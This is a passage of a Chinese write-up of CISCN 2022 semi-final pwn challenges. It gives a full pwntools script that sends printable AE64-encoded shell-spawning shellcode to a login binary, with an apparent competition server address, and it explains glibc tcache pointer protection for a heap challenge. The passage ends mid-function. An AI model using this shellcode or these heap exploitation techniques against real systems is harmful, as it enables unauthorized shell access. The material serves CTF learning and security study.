ciscn2022-线上-半决-pwn-Toy模板网

这篇具有很好参考价值的文章主要介绍了ciscn2022-线上-半决-pwn。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

normal_login

一个简单的可见字符shellcode
用杭电师傅的工具直接出shellcode，直接写进出就可以拿到shell。
epx:

# coding=UTF-8
from pwn import *
from ae64 import *

filename = './login'
libc_name = './libc-2.33.so'

context.log_level = 'debug'
context.terminal = ['tmux','split','-vp','80']
context.binary = filename

elf = ELF(filename)
libc = ELF(libc_name)


ip = '123.56.111.202'
port =  28076
debug = 1
if debug:
    p = process(filename)
else:
    p = remote(ip,port)

shellcode = asm(shellcraft.sh())
enc_shellcode = AE64().encode(shellcode,'rdx')
print(enc_shellcode)

payload = b"opt:1\nmsg:ro0tt\n\r\n"
p.sendafter(">>> ", payload)
payload = b"opt:2\nmsg:" + enc_shellcode + b"b\n\r\n"
p.sendafter(">>> ", payload)

p.interactive()

newest_note

number是4个字节，后面malloc的参数也是4个字节，可以利用溢出使number很大，然后malloc申请的大小也在一个合理的范围之内。

ciscn2022-线上-半决-pwn

malloc函数的实现会根据分配内存的size来决定使用哪个分配函数，当size小于等于128KB时，调用brk分配；当size大于128KB时，调用mmap分配内存, mmap 分配的内存与 libc 之前存在固定的偏移。

然后还需要注意glibc-2.32之后

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
   
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free.  */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

e->next不再指向tcache头指针，而是指向了经PROTECT_PTR处理过的指针，查看PROTECT_PTR定义：

#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

然后看tcache_get()函数：文章来源地址https://www.toymoban.com/news/detail-462177.html

tcache_get (size_t tc_idx)
{
   
    tcache_entry *e = tcache->entries[tc_idx];

    if (__glibc_unlikely (!aligned_OK (e)))
        malloc_printerr ("malloc(): unaligned tcache chunk detected");

    tcache->entries[tc_idx] = REVEAL_PTR (e->next);
    --(tcache->counts[tc_idx])